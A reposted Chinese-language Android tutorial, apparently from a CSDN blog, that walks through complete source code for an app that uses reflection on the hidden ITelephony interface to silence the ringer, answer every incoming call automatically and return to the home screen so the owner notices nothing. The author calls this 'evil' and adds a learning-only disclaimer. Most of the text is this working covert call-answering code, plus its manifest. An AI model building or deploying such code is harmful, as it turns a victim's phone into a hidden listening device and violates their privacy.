Android 電話的反射調用機制實現靜默電話中

來源:互聯網
上載者:User

首先 建一個工程

insertTel

 

建一個com.android.internal.telephony的包

把系統的源碼裡的ITelephony.aidl拷貝進來

如下

ITelephony.aidl

/*<br /> * Copyright (C) 2007 The Android Open Source Project<br /> *<br /> * Licensed under the Apache License, Version 2.0 (the "License");<br /> * you may not use this file except in compliance with the License.<br /> * You may obtain a copy of the License at<br /> *<br /> * http://www.apache.org/licenses/LICENSE-2.0<br /> *<br /> * Unless required by applicable law or agreed to in writing, software<br /> * distributed under the License is distributed on an "AS IS" BASIS,<br /> * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.<br /> * See the License for the specific language governing permissions and<br /> * limitations under the License.<br /> */<br />package com.android.internal.telephony;<br />import android.os.Bundle;<br />import java.util.List;<br />/**<br /> * Interface used to interact with the phone. Mostly this is used by the<br /> * TelephonyManager class. A few places are still using this directly.<br /> * Please clean them up if possible and use TelephonyManager insteadl.<br /> *<br /> * {@hide}<br /> */<br />interface ITelephony {<br /> /**<br /> * Dial a number. This doesn't place the call. It displays<br /> * the Dialer screen.<br /> * @param number the number to be dialed. If null, this<br /> * would display the Dialer screen with no number pre-filled.<br /> */<br /> void dial(String number);<br /> /**<br /> * Place a call to the specified number.<br /> * @param number the number to be called.<br /> */<br /> void call(String number);<br /> /**<br /> * If there is currently a call in progress, show the call screen.<br /> * The DTMF dialpad may or may not be visible initially, depending on<br /> * whether it was up when the user last exited the InCallScreen.<br /> *<br /> * @return true if the call screen was shown.<br /> */<br /> boolean showCallScreen();<br /> /**<br /> * Variation of showCallScreen() that also specifies whether the<br /> * DTMF dialpad should be initially visible when the InCallScreen<br /> * comes up.<br /> *<br /> * @param showDialpad if true, make the dialpad visible initially,<br /> * otherwise hide the dialpad initially.<br /> * @return true if the call screen was shown.<br /> *<br /> * @see showCallScreen<br /> */<br /> boolean showCallScreenWithDialpad(boolean showDialpad);<br /> /**<br /> * End call or go to the Home screen<br /> *<br /> * @return whether it hung up<br /> */<br /> boolean endCall();<br /> /**<br /> * Answer the currently-ringing call.<br /> *<br /> * If there's already a current active call, that call will be<br /> * automatically put on hold. If both lines are currently in use, the<br /> * current active call will be ended.<br /> *<br /> * TODO: provide a flag to let the caller specify what policy to use<br /> * if both lines are in use. (The current behavior is hardwired to<br /> * "answer incoming, end ongoing", which is how the CALL button<br /> * is specced to behave.)<br /> *<br /> * TODO: this should be a oneway call (especially since it's called<br /> * directly from the key queue thread).<br /> */<br /> void answerRingingCall();<br /> /**<br /> * Silence the ringer if an incoming call is currently ringing.<br /> * (If vibrating, stop the vibrator also.)<br /> *<br /> * It's safe to call this if the ringer has already been silenced, or<br /> * even if there's no incoming call. (If so, this method will do nothing.)<br /> *<br /> * TODO: this should be a oneway call too (see above).<br /> * (Actually *all* the methods here that return void can<br /> * probably be oneway.)<br /> */<br /> void silenceRinger();<br /> /**<br /> * Check if we are in either an active or holding call<br /> * @return true if the phone state is OFFHOOK.<br /> */<br /> boolean isOffhook();<br /> /**<br /> * Check if an incoming phone call is ringing or call waiting.<br /> * @return true if the phone state is RINGING.<br /> */<br /> boolean isRinging();<br /> /**<br /> * Check if the phone is idle.<br /> * @return true if the phone state is IDLE.<br /> */<br /> boolean isIdle();<br /> /**<br /> * Check to see if the radio is on or not.<br /> * @return returns true if the radio is on.<br /> */<br /> boolean isRadioOn();<br /> /**<br /> * Check if the SIM pin lock is enabled.<br /> * @return true if the SIM pin lock is enabled.<br /> */<br /> boolean isSimPinEnabled();<br /> /**<br /> * Cancels the missed calls notification.<br /> */<br /> void cancelMissedCallsNotification();<br /> /**<br /> * Supply a pin to unlock the SIM. Blocks until a result is determined.<br /> * @param pin The pin to check.<br /> * @return whether the operation was a success.<br /> */<br /> boolean supplyPin(String pin);<br /> /**<br /> * Handles PIN MMI commands (PIN/PIN2/PUK/PUK2), which are initiated<br /> * without SEND (so <code>dial</code> is not appropriate).<br /> *<br /> * @param dialString the MMI command to be executed.<br /> * @return true if MMI command is executed.<br /> */<br /> boolean handlePinMmi(String dialString);<br /> /**<br /> * Toggles the radio on or off.<br /> */<br /> void toggleRadioOnOff();<br /> /**<br /> * Set the radio to on or off<br /> */<br /> boolean setRadio(boolean turnOn);<br /> /**<br /> * Request to update location information in service state<br /> */<br /> void updateServiceLocation();<br /> /**<br /> * Enable location update notifications.<br /> */<br /> void enableLocationUpdates();<br /> /**<br /> * Disable location update notifications.<br /> */<br /> void disableLocationUpdates();<br /> /**<br /> * Enable a specific APN type.<br /> */<br /> int enableApnType(String type);<br /> /**<br /> * Disable a specific APN type.<br /> */<br /> int disableApnType(String type);<br /> /**<br /> * Allow mobile data connections.<br /> */<br /> boolean enableDataConnectivity();<br /> /**<br /> * Disallow mobile data connections.<br /> */<br /> boolean disableDataConnectivity();<br /> /**<br /> * Report whether data connectivity is possible.<br /> */<br /> boolean isDataConnectivityPossible();<br /> Bundle getCellLocation();<br /> /**<br /> * Returns the neighboring cell information of the device.<br /> */</p><p> int getCallState();<br /> int getDataActivity();<br /> int getDataState();<br /> /**<br /> * Returns the current active phone type as integer.<br /> * Returns TelephonyManager.PHONE_TYPE_CDMA if RILConstants.CDMA_PHONE<br /> * and TelephonyManager.PHONE_TYPE_GSM if RILConstants.GSM_PHONE<br /> */<br /> int getActivePhoneType();<br /> /**<br /> * Returns the CDMA ERI icon index to display<br /> */<br /> int getCdmaEriIconIndex();<br /> /**<br /> * Returns the CDMA ERI icon mode,<br /> * 0 - ON<br /> * 1 - FLASHING<br /> */<br /> int getCdmaEriIconMode();<br /> /**<br /> * Returns the CDMA ERI text,<br /> */<br /> String getCdmaEriText();<br /> /**<br /> * Returns true if CDMA provisioning needs to run.<br /> */<br /> boolean getCdmaNeedsProvisioning();<br /> /**<br /> * Returns the unread count of voicemails<br /> */<br /> int getVoiceMessageCount();<br /> /**<br /> * Returns the network type<br /> */<br /> int getNetworkType();</p><p> /**<br /> * Return true if an ICC card is present<br /> */<br /> boolean hasIccCard();<br />}<br /> 

然後建一個包

zy.phone

 

下面做反射調用

PhoneUtils.java

package zy.phone; </p><p>import java.lang.reflect.Field;<br />import java.lang.reflect.Method;<br />import android.telephony.TelephonyManager;<br />import android.util.Log; </p><p>public class PhoneUtils {<br /> /**<br /> * 從TelephonyManager中執行個體化ITelephony,並返回<br /> */<br /> static public com.android.internal.telephony.ITelephony getITelephony(TelephonyManager telMgr) throws Exception {<br /> Method getITelephonyMethod = telMgr.getClass().getDeclaredMethod("getITelephony");<br /> getITelephonyMethod.setAccessible(true);//私人化函數也能使用<br /> return (com.android.internal.telephony.ITelephony)getITelephonyMethod.invoke(telMgr);<br /> } </p><p> static public void printAllInform(Class clsShow) {<br /> try {<br /> // 取得所有方法<br /> Method[] hideMethod = clsShow.getDeclaredMethods();<br /> int i = 0;<br /> for (; i < hideMethod.length; i++) {<br /> Log.e("method name", hideMethod[i].getName());<br /> }<br /> // 取得所有常量<br /> Field[] allFields = clsShow.getFields();<br /> for (i = 0; i < allFields.length; i++) {<br /> Log.e("Field name", allFields[i].getName());<br /> }<br /> } catch (SecurityException e) {<br /> // throw new RuntimeException(e.getMessage());<br /> e.printStackTrace();<br /> } catch (IllegalArgumentException e) {<br /> // throw new RuntimeException(e.getMessage());<br /> e.printStackTrace();<br /> } catch (Exception e) {<br /> // TODO Auto-generated catch block<br /> e.printStackTrace();<br /> }<br /> }<br />}  

 

然後用一個BroadcastReceiver監聽電話

 

邪惡地用接電話接使用者電話

tp.java

package zy.phone;<br />import java.util.Timer;<br />import java.util.TimerTask;<br />import android.app.Service;<br />import android.content.BroadcastReceiver;<br />import android.content.Context;<br />import android.content.Intent;<br />import android.os.RemoteException;<br />import android.telephony.TelephonyManager;<br />import android.util.Log;<br />public class tp extends BroadcastReceiver {<br />Context mcontext;<br />TimerTask task = new TimerTask() {<br />public void run() {<br />Intent i = new Intent(Intent.ACTION_MAIN);<br />i.addCategory(Intent.CATEGORY_HOME);<br />i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);<br />mcontext.startActivity(i);<br />Log.i("bbb", "bbb");<br />}<br />};<br />@Override<br />public void onReceive(Context context, Intent intent) {<br />// TODO Auto-generated method stub<br />mcontext = context;<br />TelephonyManager tm = (TelephonyManager) context<br />.getSystemService(Service.TELEPHONY_SERVICE);<br />switch (tm.getCallState()) {<br />case TelephonyManager.CALL_STATE_RINGING:// 來電響鈴<br />try {<br />//String phoneNumber = intent.getStringExtra("incoming_number");</p><p>PhoneUtils.getITelephony(tm).silenceRinger();// 靜鈴<br />PhoneUtils.getITelephony(tm).answerRingingCall();// 自動接聽<br />Timer timer = new Timer();<br />timer.schedule(task, 300);</p><p>} catch (RemoteException e) {<br />// TODO Auto-generated catch block<br />e.printStackTrace();<br />} catch (Exception e) {<br />// TODO Auto-generated catch block<br />e.printStackTrace();<br />}// 掛斷<br />break;// 響鈴<br />case TelephonyManager.CALL_STATE_OFFHOOK: // 來電接通 去電撥出<br />break;// 摘機<br />case TelephonyManager.CALL_STATE_IDLE: // 來去電電話掛斷<br />break;// 掛機<br />}<br />}<br />}<br /> 

 

這樣就對所有電話都接了

 

然後主包就是一個什麼都沒有的測試Activity

包zy.test

test.java

package zy.test;<br />import android.app.Activity;<br />import android.os.Bundle;<br />public class test extends Activity {<br /> /** Called when the activity is first created. */<br /> @Override<br /> public void onCreate(Bundle savedInstanceState) {<br /> super.onCreate(savedInstanceState);<br /> setContentView(R.layout.main);<br /> }<br />} 

 

 

最後記得再AndroidManifest.xml裡加上BroadcastReceiver和許可權聲明

<?xml version="1.0" encoding="utf-8"?><br /><manifest xmlns:android="http://schemas.android.com/apk/res/android"<br /> package="zy.test"<br /> android:versionCode="1"<br /> android:versionName="1.0"><br /> <application android:icon="@drawable/icon" android:label="@string/app_name"><br /> <activity android:name=".test"<br /> android:label="@string/app_name"><br /> <intent-filter><br /> <action android:name="android.intent.action.MAIN" /><br /> <category android:name="android.intent.category.LAUNCHER" /><br /> </intent-filter><br /> </activity><br /><receiver android:name="zy.phone.tp" android:priority="10000" android:permission="android.permission.READ_PHONE_STATE"><br /><intent-filter><br /><action android:name="android.intent.action.PHONE_STATE" /><br /></intent-filter><br /></receiver></p><p></application><br /> <uses-sdk android:minSdkVersion="3" /></p><p><uses-permission android:name="android.permission.INTERNET"/><br /><uses-permission android:name="android.permission.MODIFY_PHONE_STATE" /> </p><p></manifest>  

 

OK 大功告成

 

試試現在電話都將被接聽,沒有反應

 

聲明:本文用於技術交流和學習,用本文代碼從事其他非法活動後果自負

 

 

本文著作權歸CSDN博主曾陽所有 轉載請註明

http://blog.csdn.net/Zengyangtech/archive/2011/02/21/6198355.aspx

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.